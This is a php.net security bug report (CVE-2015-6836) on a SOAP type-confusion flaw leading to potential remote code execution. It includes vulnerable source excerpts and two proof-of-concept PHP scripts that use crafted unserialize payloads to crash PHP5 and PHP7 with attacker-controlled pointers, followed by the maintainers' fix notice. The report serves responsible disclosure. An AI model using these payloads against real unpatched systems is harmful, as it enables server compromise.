php.net |  support |  documentation |  report a bug |  advanced search |  search howto |  statistics |  random bug |  login
Sec Bug #70388 SOAP serialize_function_call() type confusion / RCE
Submitted: 2015-08-29 12:44 UTC Modified: 2015-09-09 10:09 UTC
From: andrea dot palazzo at truel dot it Assigned: stas (profile)
Status: Closed Package: SOAP related
PHP Version: Irrelevant OS: Ubuntu x86_64
Private report: No CVE-ID: 2015-6836
Welcome back! If you're the original bug submitter, here's where you can edit the bug or add additional notes.
If you forgot your password, you can retrieve your password here.
Password:
Status:
Package:
Bug Type:
Summary:
From: andrea dot palazzo at truel dot it
New email:
PHP Version: OS:

 

 [2015-08-29 12:44 UTC] andrea dot palazzo at truel dot it
Description:
------------
A type confusion occurs within SOAP serialize_function_call due to an insufficient validation of the headers field.
In the SoapClient's __call method, the verify_soap_headers_array check is applied only to headers retrieved from zend_parse_parameters; problem is that a few lines later, soap_headers could be updated or even replaced with values from the __default_headers object fields.

soap.c

if (zend_hash_find(Z_OBJPROP_P(this_ptr), "__default_headers", sizeof("__default_headers"), (void **) &tmp) == SUCCESS && Z_TYPE_PP(tmp) == IS_ARRAY) {
2913        HashTable *default_headers = Z_ARRVAL_P(*tmp);
2914        if (soap_headers) {
2915            if (!free_soap_headers) {
2916                HashTable *t =  emalloc(sizeof(HashTable));
2917                zend_hash_init(t, 0, NULL, ZVAL_PTR_DTOR, 0);
2918                zend_hash_copy(t, soap_headers, (copy_ctor_func_t) zval_add_ref, NULL, sizeof(zval *));
2919                soap_headers = t;
2920                free_soap_headers = 1;
2921            }
2922            zend_hash_internal_pointer_reset(default_headers);
2923            while (zend_hash_get_current_data(default_headers, (void**)&tmp) == SUCCESS) {
2924                Z_ADDREF_PP(tmp);
2925                zend_hash_next_index_insert(soap_headers, tmp, sizeof(zval *), NULL);
2926                zend_hash_move_forward(default_headers);
2927            }
2928        } else {
2929            soap_headers = Z_ARRVAL_P(*tmp);
2930            free_soap_headers = 0;
2931        }

In such case, the soap_headers array is no longer assured to be holding Objects only, thus leading to a type confusion when serialize_function_call will try to access its elements through

4351    HashTable *ht = Z_OBJPROP_PP(header);


The described scenario applies to latest versions of each PHP branch; exploitation on PHP7 is much easier, since supplying a numeric zval to Z_OBJPRO_PP results is full control over the obj.handlers pointer. The same result could be achieved in PHP5 leveraging on a string length, but the exploitability would then depend on the memory layout.

Test script:
---------------
PHP7

<?php

/*
(gdb) r poc1.php
Starting program: /home/php-7/bin/php /home/poc1.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00000000007bb150 in serialize_function_call (this_ptr=0x7ffff16151f0, function=0x0, function_name=0x7ffff1683018 "notexisting", 
    uri=0x7ffff1603e58 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff1659c00) at /home/php-7/ext/soap/soap.c:4335
4335				HashTable *ht = Z_OBJPROP_P(header);

(gdb) x/i $pc
=> 0x7bb150 <serialize_function_call+2214>:	mov    0x18(%rax),%rax

(gdb) p $rax
$63 = 1337

*/

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;i:1337;}}');


var_dump($dummy->notexisting());

?>

PHP5

<?php

/*
(gdb) r poc2.php
Starting program: /usr/bin/php /home/poc2.php
[Thread debugging using libthread_db enabled]

Program received signal SIGSEGV, Segmentation fault.
0x00000000007dac54 in serialize_function_call (this_ptr=0x7ffff7fb7868, function=0x0, function_name=0x7ffff7fba708 "notexisting", 
    uri=0x7ffff7fba9b0 "X", arguments=0x0, arg_count=0, version=1, soap_headers=0x7ffff0b72370)
    at /home/php-5.6.11/ext/soap/soap.c:4351
4351				HashTable *ht = Z_OBJPROP_PP(header);
(gdb) x/i $pc
=> 0x7dac54 <serialize_function_call+2145>:	mov    0x70(%rax),%rax
(gdb) p $rax
$4 = 1337


*/

$dummy = unserialize('O:10:"SoapClient":3:{s:3:"uri";s:1:"X";s:8:"location";s:22:"http://localhost/a.xml";s:17:"__default_headers";a:1:{i:1;s:1337:"'.str_repeat("X", 1337).'";}}');


var_dump($dummy->notexisting());

?>


Patches

Pull Requests

History

AllCommentsChangesGit/SVN commitsRelated reports
 [2015-09-01 19:13 UTC] stas@php.net
-Status: Open +Status: Closed -Assigned To: +Assigned To: stas
 [2015-09-01 19:13 UTC] stas@php.net
The fix for this bug has been committed.

Snapshots of the sources are packaged every three hours; this change
will be in the next snapshot. You can grab the snapshot at
http://snaps.php.net/.

 For Windows:

http://windows.php.net/snapshots/
 
Thank you for the report, and for helping us make PHP better.


 [2015-09-02 08:29 UTC] stas@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e201f01ac17243a1e5fb6a3911ed8e21b1619ac1
Log: Fix bug #70388 - SOAP serialize_function_call() type confusion
 [2015-09-03 18:10 UTC] ab@php.net
Automatic comment on behalf of stas
Revision: http://git.php.net/?p=php-src.git;a=commit;h=e201f01ac17243a1e5fb6a3911ed8e21b1619ac1
Log: Fix bug #70388 - SOAP serialize_function_call() type confusion
 [2015-09-09 10:09 UTC] kaplan@php.net
-CVE-ID: +CVE-ID: 2015-6836
 
PHP Copyright © 2001-2025 The PHP Group
All rights reserved.
Last updated: Mon Mar 31 03:01:29 2025 UTC